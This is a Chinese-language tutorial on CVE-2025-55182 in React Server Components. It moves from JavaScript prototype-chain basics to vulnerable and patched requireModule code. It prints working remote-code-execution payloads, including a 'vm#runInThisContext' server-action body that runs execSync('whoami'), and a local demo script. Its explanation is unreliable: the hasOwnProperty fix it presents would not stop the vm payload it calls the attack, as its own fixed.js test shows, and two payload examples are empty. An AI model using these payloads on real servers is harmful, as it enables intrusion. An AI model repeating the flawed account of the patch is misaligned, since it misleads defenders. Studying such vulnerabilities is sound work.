本文内容来自德勒群的 0xCAFEBABE 分享的文件
CVE-2025-55182 详细教程:从零理解漏洞原理
本教程会从 JavaScript 基础知识开始,逐步深入到漏洞的技术细节。
第一部分:JavaScript 基础知识
1.1 对象和属性
在 JavaScript 中,对象就像一个容器,可以存储多个属性。
javascript
1// 创建一个简单的对象
2const person = {
3 name: "张三",
4 age: 25,
5 city: "北京"
6};
7
8// 访问属性的两种方式
9console.log(person.name); // 方式1:点号访问 → "张三"
10console.log(person["name"]); // 方式2:括号访问 → "张三"
关键点:这两种方式看起来一样,但有重要区别!
javascript
1// 点号方式:属性名是写死的
2person.name // ✓ 可以
3
4// 括号方式:属性名可以是变量
5const propertyName = "name";
6person[propertyName] // ✓ 可以,动态访问
7
8// 这就是漏洞的入口点!
1.2 什么是原型链?
比喻理解:想象一下遗传关系
- 你有自己的特征(眼睛颜色、身高)
- 但你也继承了父母的特征(血型、某些基因)
- 如果你没有某个特征,系统会"向上"查找父母的特征
JavaScript 对象也是这样:
javascript
1// 创建一个对象
2const student = {
3 name: "李四",
4 grade: 90
5};
6
7// student 自己的属性
8console.log(student.name); // "李四" ← 找到了,来自自己
9
10// student 没有这个属性,但原型链上有!
11console.log(student.toString); // [Function: toString] ← 来自原型链
12
13// 更神奇的
14console.log(student.constructor); // [Function: Object] ← 也来自原型链
可视化原型链:
1student 对象
2 ├─ name: "李四" ← 自己的属性
3 ├─ grade: 90 ← 自己的属性
4 └─ [[Prototype]] ← 原型链指针
5 ↓
6 Object.prototype
7 ├─ toString: [Function]
8 ├─ constructor: [Function: Object]
9 └─ hasOwnProperty: [Function]1.3 属性访问的查找顺序
javascript
1const car = {
2 brand: "Tesla",
3 model: "Model 3"
4};
5
6// 当你访问 car.brand 时,JavaScript 做了什么?
7// 1. 先看 car 自己有没有 "brand" 属性 → 有!返回 "Tesla"
8
9// 当你访问 car.toString 时呢?
10// 1. 先看 car 自己有没有 "toString" → 没有
11// 2. 向上查找原型链 → Object.prototype 有!返回 [Function]
12
13// 当你访问 car.nonExist 时?
14// 1. car 自己没有 → 没有
15// 2. 原型链上也没有 → 返回 undefined
关键代码演示:
javascript
1const obj = { name: "测试" };
2
3// 检查属性是否是对象自己的
4console.log(obj.hasOwnProperty("name")); // true ← 自己的
5console.log(obj.hasOwnProperty("toString")); // false ← 不是自己的
6console.log(obj.hasOwnProperty("constructor")); // false ← 不是自己的
7
8// 但是你仍然可以访问它们!
9console.log(obj.toString); // [Function: toString]
10console.log(obj.constructor); // [Function: Object]
第二部分:漏洞的根本原理
2.1 安全的属性访问 vs 不安全的属性访问
安全的方式(有 hasOwnProperty 检查):
javascript
1const moduleExports = {
2 readConfig: function() { /* ... */ },
3 getUser: function() { /* ... */ }
4};
5
6const exportName = "readConfig"; // 这可能来自用户输入
7
8// ✅ 安全:先检查是否是自己的属性
9if (Object.hasOwnProperty.call(moduleExports, exportName)) {
10 const fn = moduleExports[exportName]; // 安全访问
11 return fn;
12} else {
13 throw new Error("Invalid export: " + exportName);
14}不安全的方式(React 19.0.0 的漏洞代码):
javascript
1const moduleExports = {
2 readConfig: function() { /* ... */ },
3 getUser: function() { /* ... */ }
4};
5
6const exportName = "readConfig"; // 这可能来自用户输入
7
8// ❌ 危险:直接访问,会查找原型链
9const fn = moduleExports[exportName];
10return fn;2.2 漏洞演示:一步步理解
步骤 1: 正常情况
javascript
1const exports = {
2 myFunction: function() { return "正常调用"; }
3};
4
5const name = "myFunction";
6const result = exports[name]; // 获取 myFunction
7
8console.log(result()); // "正常调用" ✓
步骤 2: 攻击者的技巧
javascript
1const exports = {
2 myFunction: function() { return "正常调用"; }
3};
4
5// 攻击者控制的输入
6const name = "constructor"; // ← 注意:这不是 exports 自己的属性
7
8const result = exports[name]; // 会查找原型链
9
10console.log(result); // [Function: Object] ← 来自原型链
11console.log(result === Object); // true ← 是 Object 构造函数!
步骤 3: 更危险的情况
javascript
1const fs = require('fs'); // Node.js 文件系统模块
2
3// fs 模块有很多函数
4console.log(fs.readFileSync); // [Function: readFileSync]
5console.log(fs.writeFileSync); // [Function: writeFileSync]
6
7// 但攻击者可以这样访问
8const dangerousName = "constructor";
9console.log(fs[dangerousName]); // [Function: Object]
10
11// 甚至
12const veryDangerous = "constructor";
13const obj = fs;
14console.log(obj[veryDangerous].constructor); // [Function: Function]
15// 这就获得了 Function 构造函数,可以执行任意代码!
2.3 完整的攻击链
让我们看一个完整的、简化的攻击示例:
javascript
1// ======== 服务器代码(有漏洞) ========
2
3function loadModule(moduleId, exportName) {
4 // 1. 加载模块
5 const moduleExports = require(moduleId); // 假设 moduleId = "fs"
6
7 // 2. ❌ 直接访问导出(漏洞点)
8 return moduleExports[exportName]; // exportName 来自用户输入
9}
10
11// ======== 正常使用 ========
12const readFile = loadModule("fs", "readFileSync");
13console.log(typeof readFile); // "function" ✓
14
15// ======== 攻击者利用 ========
16const attack1 = loadModule("fs", "constructor");
17console.log(attack1); // [Function: Object] ← 获得了 Object
18
19// 更进一步
20const attack2 = loadModule("vm", "runInThisContext");
21console.log(attack2); // [Function: runInThisContext] ← 危险!
第三部分:CVE-2025-55182 的实际漏洞
3.1 React 的漏洞代码
位置:react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js:2546
javascript
1// React 19.0.0 的漏洞代码(简化版)
2function requireModule(metadata) {
3 // metadata = ["vm", [], "runInThisContext"]
4 // ↑ ↑
5 // 模块ID 导出名称
6
7 // 步骤 1: 加载模块
8 var moduleExports = __webpack_require__(metadata[0]);
9 // moduleExports = { runInThisContext: [Function], runInNewContext: [Function], ... }
10
11 var exportName = metadata[2]; // "runInThisContext"
12
13 // 步骤 2: ❌ 直接访问导出(漏洞)
14 return moduleExports[exportName];
15 // ^^^^^^^^^^^^^^ 会查找原型链!
16}为什么危险?
javascript
1// 正常情况
2requireModule(["vm", [], "runInThisContext"])
3// → 返回 vm.runInThisContext ✓
4
5// 攻击情况 1
6requireModule(["vm", [], "constructor"])
7// → 返回 Object ❌ 这不是 vm 自己的属性
8
9// 攻击情况 2(更危险)
10requireModule(["child_process", [], "execSync"])
11// → 返回 child_process.execSync
12// 如果攻击者能控制参数,就能执行系统命令!
3.2 完整的攻击流程
让我用一个真实的例子演示:
javascript
1// ======== 第 1 步:攻击者构造恶意请求 ========
2
3// HTTP POST 请求体
4const maliciousPayload = {
5 "$ACTION_REF_0": "",
6 "$ACTION_0:0": JSON.stringify({
7 id: "vm#runInThisContext", // ← 指定模块和导出
8 bound: ["1+1"] // ← 要执行的代码
9 })
10};
11
12// ======== 第 2 步:React 解析 ========
13
14function decodeAction(formData, serverManifest) {
15 // 解析 id
16 const action = JSON.parse(formData.get("$ACTION_0:0"));
17 // action = { id: "vm#runInThisContext", bound: ["1+1"] }
18
19 const [moduleId, exportName] = action.id.split("#");
20 // moduleId = "vm"
21 // exportName = "runInThisContext"
22
23 // 调用漏洞函数
24 const fn = requireModule([moduleId, [], exportName]);
25 // fn = vm.runInThisContext
26
27 // 绑定参数
28 const boundFn = fn.bind(null, ...action.bound);
29 // boundFn = vm.runInThisContext.bind(null, "1+1")
30
31 return boundFn;
32}
33
34// ======== 第 3 步:应用调用 ========
35
36const actionFn = decodeAction(maliciousPayload, manifest);
37const result = actionFn(); // 执行
38
39// vm.runInThisContext("1+1")
40// → 返回 2 ✓ RCE 成功!
3.3 真实的 RCE Payload
Payload 1: 简单测试
json
执行流程:
javascript
1vm.runInThisContext("1+1") // → 2
Payload 2: 执行系统命令
json
1{
2 "id": "vm#runInThisContext",
3 "bound": ["process.mainModule.require('child_process').execSync('whoami').toString()"]
4}执行流程:
javascript
1vm.runInThisContext(
2 "process.mainModule.require('child_process').execSync('whoami').toString()"
3)
4// → 在服务器上执行 whoami 命令
5// → 返回当前用户名
Payload 3: 读取敏感文件
json
执行流程:
javascript
第四部分:为什么 hasOwnProperty 可以防止?
4.1 修复代码对比
修复前(React 19.0.0):
javascript
1function requireModule(metadata) {
2 var moduleExports = __webpack_require__(metadata[0]);
3 var exportName = metadata[2];
4
5 // ❌ 直接访问
6 return moduleExports[exportName];
7}修复后(React 19.2.1):
javascript
1function requireModule(metadata) {
2 var moduleExports = __webpack_require__(metadata[0]);
3 var exportName = metadata[2];
4
5 // ✅ 添加检查
6 if (hasOwnProperty.call(moduleExports, exportName)) {
7 return moduleExports[exportName]; // 只返回自己的属性
8 } else {
9 throw new Error("Invalid server reference: " + exportName);
10 }
11}4.2 实际效果对比
javascript
1const fs = require('fs');
2
3// 测试 1: 正常导出
4const exportName1 = "readFileSync";
5
6// 漏洞版本
7const result1 = fs[exportName1]; // ✓ 返回 fs.readFileSync
8
9// 修复版本
10if (hasOwnProperty.call(fs, exportName1)) {
11 const result1_fixed = fs[exportName1]; // ✓ 返回 fs.readFileSync
12}
13
14// 测试 2: 攻击尝试
15const exportName2 = "constructor";
16
17// 漏洞版本
18const result2 = fs[exportName2]; // ❌ 返回 Object (来自原型链)
19
20// 修复版本
21if (hasOwnProperty.call(fs, exportName2)) {
22 // 这个条件为 false,因为 constructor 不是 fs 自己的属性
23 const result2_fixed = fs[exportName2]; // 不会执行
24} else {
25 throw new Error("Invalid!"); // ✓ 抛出错误,阻止攻击
26}4.3 为什么原型链属性危险?
javascript
1// 场景 1: 获取 Object 构造函数
2const fs = require('fs');
3const obj = fs["constructor"]; // Object
4// → 可以用来操作对象原型
5
6// 场景 2: 获取 Function 构造函数
7const obj2 = fs["constructor"]["constructor"]; // Function
8// → 可以用来创建任意函数!
9
10// 场景 3: 执行任意代码
11const dangerousCode = "require('child_process').execSync('whoami')";
12const evilFn = new Function(dangerousCode);
13evilFn(); // ← RCE!
第五部分:实战演练
5.1 创建一个有漏洞的函数
javascript
1// vulnerable.js
2
3// 模拟 React 的漏洞函数
4function vulnerableRequireModule(moduleName, exportName) {
5 const mod = require(moduleName);
6
7 // ❌ 漏洞:没有 hasOwnProperty 检查
8 return mod[exportName];
9}
10
11// 测试
12console.log("=== 正常使用 ===");
13const readFile = vulnerableRequireModule("fs", "readFileSync");
14console.log(typeof readFile); // "function"
15
16console.log("\n=== 攻击测试 ===");
17const attack = vulnerableRequireModule("fs", "constructor");
18console.log(attack === Object); // true ← 获得了 Object!
19
20const attack2 = vulnerableRequireModule("vm", "runInThisContext");
21console.log(typeof attack2); // "function" ← 获得了 vm.runInThisContext!
22
23// 现在可以执行任意代码
24const result = attack2("1+1");
25console.log("计算结果:", result); // 2
26
27// 更危险的
28const evil = attack2("require('child_process').execSync('whoami').toString()");
29console.log("RCE 结果:", evil); // 当前用户名
5.2 创建修复后的版本
javascript
1// fixed.js
2
3// 安全的版本
4function safeRequireModule(moduleName, exportName) {
5 const mod = require(moduleName);
6
7 // ✅ 添加 hasOwnProperty 检查
8 if (!Object.hasOwnProperty.call(mod, exportName)) {
9 throw new Error(`Invalid export: ${exportName} is not an own property of ${moduleName}`);
10 }
11
12 return mod[exportName];
13}
14
15// 测试
16console.log("=== 正常使用 ===");
17const readFile = safeRequireModule("fs", "readFileSync");
18console.log(typeof readFile); // "function" ✓
19
20console.log("\n=== 攻击测试 ===");
21try {
22 const attack = safeRequireModule("fs", "constructor");
23 console.log("攻击成功!");
24} catch (e) {
25 console.log("攻击被阻止:", e.message);
26 // "Invalid export: constructor is not an own property of fs"
27}
28
29try {
30 const attack2 = safeRequireModule("vm", "runInThisContext");
31 console.log("正常导出:", typeof attack2); // "function" ✓
32} catch (e) {
33 console.log(e.message);
34}